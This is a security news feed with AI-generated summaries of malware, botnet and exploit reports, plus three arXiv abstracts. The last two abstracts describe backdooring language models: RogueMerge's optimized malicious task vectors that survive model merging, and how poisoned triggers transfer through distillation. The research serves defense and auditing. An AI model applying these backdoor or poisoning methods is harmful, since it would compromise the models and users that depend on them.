[ad-fraud](), [affiliates](), [amlogic](), [android](), [android-tv](), [backdoor](), [botnet](), [c2](), [disrupt](), [google](), [hack](), [hardware](), [malware](), [mecool](), [realtek-rtd](), [residential-proxy](), [security](), [tv-box](), [videostrong](), [xcpe](), [xcpe-botnet]() ### AI overview Google reported that 1.3 million Android TV boxes were infected with the XCPE backdoor and used in a botnet for financial gain. It assesses with high confidence that Videostrong Technology developed and operated the backdoor, which could reinstall after reboot. A loader enabled affiliate modules for residential proxy networks, ad fraud, and other monetization. Google disrupted the command-and-control domains and cut ties with Videostrong, ending its ability to preload Google apps or obtain certification. The malware evaded security testing by using obfuscation and loading malicious code after first boot; Google says it has changed its review process. Because the backdoor remains in device firmware, the article says removal requires flashing custom firmware, if available. It identifies Videostrong and MECOOL devices as likely affected, while noting that impact varies by country. ### Source excerpt You might assume that a Google-certified Android TV box will both work better and guarantee no malware. However, you'd be wrong, at least for the latter. Google has just published a new Threat Intelligence report entitled "Shutting the Door on the XCPE Botnet", where they found that 1.3 million TV boxes were infected by the XCPE backdoor, enrolling them into a botnet used for financial gains. Google assesses with high confidence that the malware was intentionally developed, deployed, and operated by Videostrong Technology, a TV box manufacturer, which we frequently covered in the past when Android TV boxes were still somewhat a novelty and at times usable as an alternative to SBCs running Linux. Videostrong apparently monetized the backdoor by allowing affiliates to load malware modules onto infected devices to run ad-fraud schemes, enroll the TV boxes in residential proxy networks, and so on. Google took legal action to disrupt [...] The post 1.3 million Google-certified Android TV boxes found to have malware appeared first on CNX Software - Embedded Systems News. ## Hackers hijack cPGuard autoupdate to deploy backdoor, steal data DevFeed: [Hackers hijack cPGuard autoupdate to deploy backdoor, steal data]() Original publisher: [Read original article]() Author: Bill Toulas Published: 2026-11-03T22:18:50Z Content type: news Language: en Sources: [BleepingComputer]() Topics: [Security](), [network security](), [Credential theft](), [data](), [Authorization]() Tags: [backdoor](), [cdn](), [compromise](), [computer-help](), [computer-security](), [computers](), [cpguard](), [credentials](), [data](), [database](), [distribution](), [hackers](), [healthcare](), [hijack](), [infosec](), [infosec-computer-security](), [infrastructure](), [initial-access](), [linux](), [mac](), [malicious](), [malicious-update](), [malware](), [malware-removal](), [mariadb](), [script](), [security](), [security-software](), [spyware](), [supply-chain](), [supply-chain-attack](), [support](), [tech-support](), [technical-support](), [update](), [virus](), [virus-removal](), [web-security](), [windows]() ### AI overview Attackers used compromised credentials to breach OpsShield's update infrastructure on November 2, 2026, and distribute a malicious script through cPGuard versions 5.88.12-5.88.19. It targeted password hashes, database configuration, shell history, and SSH authorization and known-hosts files, then uploaded collected data to OpsShield's licensing server. OpsShield says it stopped distribution within 12 hours; it identified 2,946 affected servers and reported that attackers retrieved 32 files per customer, though it could not establish what was collected from each server. Administrators are advised to update to version 5.88.25 or later, which the vendor says removes the backdoor and staged files, and promptly reset passwords and rotate database credentials, cloud secrets, and SSH keys. OpsShield also plans an update to remove previously installed support-access keys. ### Source excerpt Attackers have compromised the update infrastructure for the cPGuard web security suite to distribute a backdoor and a data-stealing script. [...] ## A hidden backdoor put 1.3 million TV boxes to work for criminals DevFeed: [A hidden backdoor put 1.3 million TV boxes to work for criminals]() Original publisher: [Read original article]() Author: Pieter Arntz Published: 2026-11-03T14:11:25Z Content type: article Language: en Sources: [Malwarebytes]() Topics: [Android Security](), [residential proxy network](), [google play protect]() Tags: [ad-fraud](), [ai](), [android](), [backdoor](), [botnet](), [google](), [mobile](), [news](), [set-top-boxes](), [tv](), [videostrong]() ### AI overview Google's Threat Intelligence Group says Videostrong put the XCPE backdoor in firmware on more than 1.3 million certified Android TV boxes and sold criminals access. With system-level privileges, the backdoor can reinstall after removal and disable Play Protect verification; affiliate modules routed traffic through owners' home IPs and enabled ad fraud, surveillance, remote access, and further malware. Google and partners disrupted the control servers, but the takedown does not remove the firmware backdoor, and the article says no complete affected-model list is available. Suspected owners should disconnect the box and ask the seller or manufacturer for clean firmware or a replacement; uninstalling the app is insufficient. The article also recommends reputable manufacturers, trusted app stores, keeping Play Protect on, and isolating TV and IoT devices on a restricted network or VLAN, which separates other devices but does not secure the box itself. ### Source excerpt Videostrong planted a backdoor in more than 1.3 million Android set-top boxes and sold criminals access to the resulting botnet. ## Cops Bust Botnet of 1.3 Million Android TV Boxes DevFeed: [Cops Bust Botnet of 1.3 Million Android TV Boxes]() Original publisher: [Read original article]() Author: BeauHD Published: 2026-11-03T11:00:00Z Content type: news Language: en Sources: [Slashdot]() Topics: [IoT botnets](), [Android Security](), [MQTT](), [residential proxy network]() Tags: [affiliates](), [agent](), [android](), [android-tv](), [backdoor](), [botnet](), [c2](), [china](), [coalition](), [command](), [command-and-control](), [control](), [criminal](), [customers](), [device](), [devices](), [disrupted](), [embedded](), [financial](), [tv]() ### AI overview A coalition working with Japan's National Police Agency disrupted a botnet of more than 1.3 million Android devices across over 200 countries. Google assessed with high confidence that Videostrong Technology embedded the XCPE backdoor in device firmware and sold affiliates access to install malware modules. A preinstalled management agent connected to an MQTT server, enabling remote app installation and removal, settings changes, and updates; infected devices could also relay traffic through customers' internet connections without their knowledge. TrendAI recorded more than 3.8 million distinct home and mobile IP addresses connected to the operation between June 3 and October 1. The coalition disrupted command-and-control domains, which Google said could cut affiliates' access to at least 10 million additional compromised devices. Google also ended ties with Videostrong and barred it from making devices with preloaded Google apps. ### Source excerpt A coalition of security firms working with Japan's National Police Agency has disrupted a botnet of more than 1.3 million Android devices across 200+ countries. "We assess with high confidence that the backdoor and botnet were intentionally developed, deployed, and operated for financial gain by Videostrong Technology," the Google Threat Intelligence Group (GTIG) said in a blog post. The Register reports: Videostrong Technology is a hardware manufacturer based in Shenzhen, China. It builds Android devices, including home TV boxes and projectors. According to Google, Videostrong deliberately embedded the XCPE backdoor in device firmware and sold access to criminal affiliates, allowing them to install additional malware modules on devices shipped to unsuspecting customers. When buyers connected these devices to their home networks, the preinstalled backdoor allowed operators to create proxy networks and hide malicious traffic using the customers' internet connections without their knowledge. The firmware's pre-installed management agent purported to be a standard remote-management client, according to TrendAI. It pulled updates from a GitHub page, and connected to a Message Queuing Telemetry Transport (MQTT) server that gave the operator full remote control of each box, allowing them to install and remove apps, change settings, and push updates to the infected devices. Between June 3 and October 1, TrendAI documented more than 3.8 million distinct home and mobile IP addresses connected to the operation. The coalition also disrupted the command-and-control domains used to manage the affiliate modules. "Because these affiliates each have diversified distribution channels for their modules beyond XCPE, we assess that taking down their C2 domains will sever access to at least 10 million additional compromised devices," according to GTIG. Google said it had since cut ties with Videostrong, and banned the OEM from making devices with preloaded Google apps. Read more of this ## Google Dismantles XCPE Botnet of 1.3 Million Android Devices DevFeed: [Google Dismantles XCPE Botnet of 1.3 Million Android Devices]() Original publisher: [Read original article]() Author: Ionut Arghire Published: 2026-11-03T09:22:09Z Content type: news Language: en Sources: [SecurityWeek]() Topics: [IoT botnets](), [Android Security](), [Google]() Tags: [ad-fraud](), [affiliates](), [android](), [android-tv](), [backdoor](), [backdoors](), [botnet](), [china](), [command-and-control](), [data-exfiltration](), [devices](), [digital-signage](), [disrupted](), [featured](), [google](), [iot](), [japan](), [karaoke](), [malware-threats](), [odm](), [oem](), [takedown](), [xcpe](), [xcpe-botnet]() ### AI overview Google dismantled XCPE, a botnet of more than 1.3 million Android devices that it says Videostrong Technology deliberately built into multiple device models and operated for financial gain. Its three-stage malware persisted on the /oem/ partition, then loaded modules used for ad fraud, data exfiltration, residential proxy services, and additional malware. Videostrong sold affiliates access to infected devices. Google says obfuscation let the company load malicious code after first boot, exploiting a gap in its compatibility and security tests; Google has banned Videostrong from making devices with preloaded Google apps. Legal action targeted XCPE's domains and servers and command-and-control domains for other modules, likely severing access to at least 10 million additional devices. Google says the disruption affected over a dozen malicious actors, but the interconnected illicit market can adapt by switching loaders or monetization SDKs. Infected devices included Android TV boxes and some telehealth, karaoke, and digital signage devices. ### Source excerpt The botnet was created and operated for financial gain by Android OEM/ODM Videostrong Technology. The post Google Dismantles XCPE Botnet of 1.3 Million Android Devices appeared first on SecurityWeek. ## Attackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command Backdoors DevFeed: [Attackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command Backdoors]() Original publisher: [Read original article]() Author: The Hacker News Published: 2026-11-03T05:34:41Z Content type: news Language: en Sources: [Cyber Newsroom]() Topics: [Vulnerabilities](), [known exploitable vulnerabilities](), [Exploit](), [Command-line interface]() Tags: [active-exploitation](), [authentication](), [backdoor](), [botnet](), [code](), [commands](), [curl](), [cve](), [cvss-score](), [cyber-attack](), [download](), [encoding](), [exploit](), [flow](), [function](), [honeypot](), [http](), [industrial-security](), [internet-of-things](), [malware](), [node-red](), [remote](), [security](), [siemens](), [vulnerability]() ### AI overview CVE-2026-58115 allows unauthenticated remote code execution on Siemens SIMATIC IoT2050 Advanced devices running Industrial OS with Node-RED installed. Siemens says versions 4.3.4.1 or later remediate the flaw; mitigations are to uninstall Node-RED or enable HTTPS and authentication for the editor/admin API, HTTP Nodes, and Dashboard. VulnCheck observed exploit attempts by October 30, 2026: malicious Node-RED flows downloaded and ran Linux payloads, with attackers later using a two-stage script retrieval process. Some flows instead exposed an HTTP endpoint wired to command execution, allowing later commands through a query parameter; the researchers said this backdoor can persist across reboot even if a memory-backed implant is lost. The functionality of two retrieved payload references remained unknown because they could not be downloaded. ### Source excerpt Attackers Exploit Critical Siemens IoT2050 Flaw to Plant Remote Command Backdoors A maximum-severity security flaw impacting Siemens SIMATIC IoT2050 Advanced devices has come under active exploitation, VulnCheck has revealed. The vulnerability, tracked as CVE-2026-58115 (CVSS score ... Read more Published Date: Nov 03, 2026 (4 hours, 25 minutes ago) Vulnerabilities has been mentioned in this article. CVE-2026-58115 ## Receiver-Domain Behavioral Probing for Backdoor-Resilient Federated GPS Spoofing Detection in UAV Networks DevFeed: [Receiver-Domain Behavioral Probing for Backdoor-Resilient Federated GPS Spoofing Detection in UAV Networks]() Original publisher: [Read original article]() Author: Will Jedrzejczak, Cole Walther, Dilpreet Gill, Moh Khalid Hasan Published: 2026-11-03T05:00:00Z Content type: article Language: en Sources: [arXiv: Cryptography and Security]() Topics: [Federated Learning](), [Security](), [threat detection](), [Detection engineering](), [Machine learning]() Tags: [aggregation](), [attack](), [backdoor](), [client](), [clients](), [cs-cr](), [data](), [dataset](), [detection](), [distributed](), [domain](), [eess-sp](), [features](), [federated](), [federated-learning](), [global](), [gps](), [gps-spoofing](), [independent](), [networks](), [receiver](), [spoofing]() ### AI overview Client-reported accuracy can let compromised UAVs amplify a GPS spoofing backdoor in federated learning: with two of ten clients attacking, accuracy-weighted aggregation yields a +0.3036 backdoor lift, versus +0.2415 for attacked FedAvg. The proposed receiver-domain behavioral probing has the coordinator test submitted models on counterfactual spoofed samples made by assigning benign values to discriminative GPS features, then derive trust from model responses rather than reported accuracy. Under IID client data, it reduces lift to -0.0265 and flags compromised clients. It assumes an honest majority and needs no configured Byzantine-tolerance parameter. In the reported comparison, Multi-Krum's lift rises from +0.0061 to +0.2837 when attackers exceed its configured tolerance, while the proposed method stays close to the honest baseline. Evaluation uses a public single-receiver dataset split into simulated UAV clients; strong client heterogeneity is identified as a limitation. ### Source excerpt arXiv:2610.10360v2 Announce Type: replace Abstract: Federated learning (FL) allows unmanned aerial vehicle (UAV) fleets to train a shared GPS spoofing detector without exchanging raw receiver observations. Some UAV-FL schemes use client-reported performance to determine aggregation weights, which allows compromised clients to manipulate their influence on the global model. We study an attack in which two of ten clients poison part of their data, scale their model updates, and inflate their reported accuracy. The accuracy-weighted rule produces a backdoor lift of +0.3036, compared with +0.2415 for attacked FedAvg. To address this vulnerability, we develop receiver-domain behavioral probing. The coordinator evaluates submitted models on counterfactual spoofed samples constructed by assigning benign values to discriminative GPS features and computes trust from the models' responses without using reported accuracy. With independent and identically distributed (IID) client data, our method reduces backdoor lift to -0.0265 and flags the compromised clients. It assumes an honest majority but does not require a configured Byzantine-tolerance parameter. When the number of attackers exceeds the tolerance configured for Multi-Krum, its lift increases from +0.0061 to +0.2837, whereas our method remains close to the honest baseline. We evaluate the approach using a public single-receiver dataset partitioned into simulated UAV clients and examine its limitations under strong client heterogeneity. ## RogueMerge: Robust and Unified Attacks against LLM Model Merging DevFeed: [RogueMerge: Robust and Unified Attacks against LLM Model Merging]() Original publisher: [Read original article]() Author: Jinghuai Zhang, Yetian He, Kunlin Cai, Han Zhao, Fnu Suya, Yuan Tian Published: 2026-11-03T05:00:00Z Content type: article Language: en Sources: [arXiv: Cryptography and Security]() Topics: [LLM security](), [Large Language Model](), [software supply-chain attack](), [Resilience]() Tags: [abstract](), [algorithms](), [all](), [also](), [amplify](), [approximation](), [arithmetic](), [arxiv](), [attack](), [attack-surface](), [attacks](), [autoregressive](), [backdoor](), [behavior](), [better](), [can](), [capabilities](), [cs-cr](), [cs-lg](), [llm](), [model](), [robust]() ### AI overview RogueMerge targets the supply-chain risk of merging unverified task vectors into LLM weights. It jointly optimizes attacks to remain effective after merging, uses stochastic min-max optimization with meta-gradient descent to account for unknown merge configurations, and applies distributionally robust optimization with a first-order Taylor approximation to generalize across attack prompts. The abstract reports stronger results than prior attacks across four threats, six merging algorithms, and more than 170 merged LLMs, with stability across merging settings and resistance to standard defenses. ### Source excerpt arXiv:2606.03344v3 Announce Type: replace Abstract: Model merging composes specialized capabilities into a single LLM by aggregating task-specific LLMs sourced from unverified public platforms, exposing a critical supply-chain attack surface: Because any malicious behavior can be encoded into a task vector, and merging grants third-party vectors direct write access to model weights, an attacker-provided task vector can enable or amplify diverse downstream threats. Prior work only examines backdoor attacks against model merging for classifiers using static arithmetic heuristics, which fail to effectively achieve diverse attacks on generative LLMs for three reasons: (i) LLMs rely on autoregressive decoding, where even a minor parameter drift introduced by merging compounds across tokens and rapidly degrades the attack. (ii) Attackers have no knowledge of the victim's merging configurations, causing a static attack vector optimized in isolation to be easily diluted or neutralized. (iii) Practical threat induction must generalize to attack prompts unseen during optimization, which static vectors cannot adequately encode. In light of these gaps, we present RogueMerge, the first unified attack framework addressing all three challenges. To handle autoregressive generation, we replace static arithmetic with a joint optimization that explicitly enforces attack success after merging. To better simulate unknown merging settings, we formulate attack injection as a stochastic min-max optimization problem and solve it via meta-gradient descent. To generalize across heterogeneous attack prompts, we employ distributionally robust optimization and derive a tractable first-order Taylor approximation at LLM scale, with a provable error bound. Across four threats, six merging algorithms, and over 170 merged LLMs, RogueMerge consistently outperforms prior attacks. It also remains stable across diverse merging settings and resists standard defenses. ## Inherited or Learned? Backdoor Selectivity in Distilled Language Models DevFeed: [Inherited or Learned? Backdoor Selectivity in Distilled Language Models]() Original publisher: [Read original article]() Author: Dipto Sumit, Sanzar Rahman, Ramisa Faria Puspita, Samiha Fairooz Urbi, Farig Sadeque Published: 2026-11-03T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence]() Topics: [LLM security](), [ai security](), [Post-training optimization]() Tags: [backdoor](), [cs-ai](), [distillation](), [gemma](), [language-models](), [llama](), [qwen]() ### AI overview Across nine teacher-student pipelines using Qwen2.5, Llama 3.2 and Gemma 3, distillation changed backdoor selectivity depending on trigger placement. Randomly inserted triggers became less selective in every pipeline; appended triggers grew more selective in Qwen and Llama and changed little in Gemma. Students trained on the same prompts without a teacher show that much of this behavior was learned from the examples rather than inherited. Llama and Gemma students learned an appended backdoor from 150 poisoned examples alone, while only Qwen's 0.5B student required the teacher. Trigger position also mattered: Gemma teachers responded wherever the trigger appeared, but their students responded only when it was appended. The authors recommend auditing teacher and student on matching inputs, testing multiple trigger positions, and including a student trained without the teacher. These findings are reported for transfer prompts with 5% trigger prevalence and the tested models. ### Source excerpt arXiv:2611.00748v1 Announce Type: new Abstract: Distillation is a routine step in building small language models, and a backdoored teacher can pass its backdoor to the student. We study what a student inherits when the backdoor is a rare string that triggers a fixed refusal. Keeping the trigger fixed, we vary only where it appears, at a random word boundary or appended to the instruction, and compare teachers and students on the exact trigger, six control strings and clean inputs. Across Qwen2.5, Llama 3.2 and Gemma 3, with 5% of transfer prompts triggered, randomly inserted triggers become less selective after distillation in all nine teacher-student pipelines, while appended triggers gain selectivity in Qwen and Llama and change little in Gemma. Students trained on the same prompts without a teacher show that much of this is not inherited. Llama and Gemma students learn an appended backdoor from the 150 poisoned examples alone, and only Qwen's 0.5B student needs the teacher. The data also sets where the trigger works. Gemma teachers respond to it anywhere, but their students only when it is appended. Audits should compare teacher and student on the same inputs, probe several trigger positions and include a student trained without the teacher. [Next page]()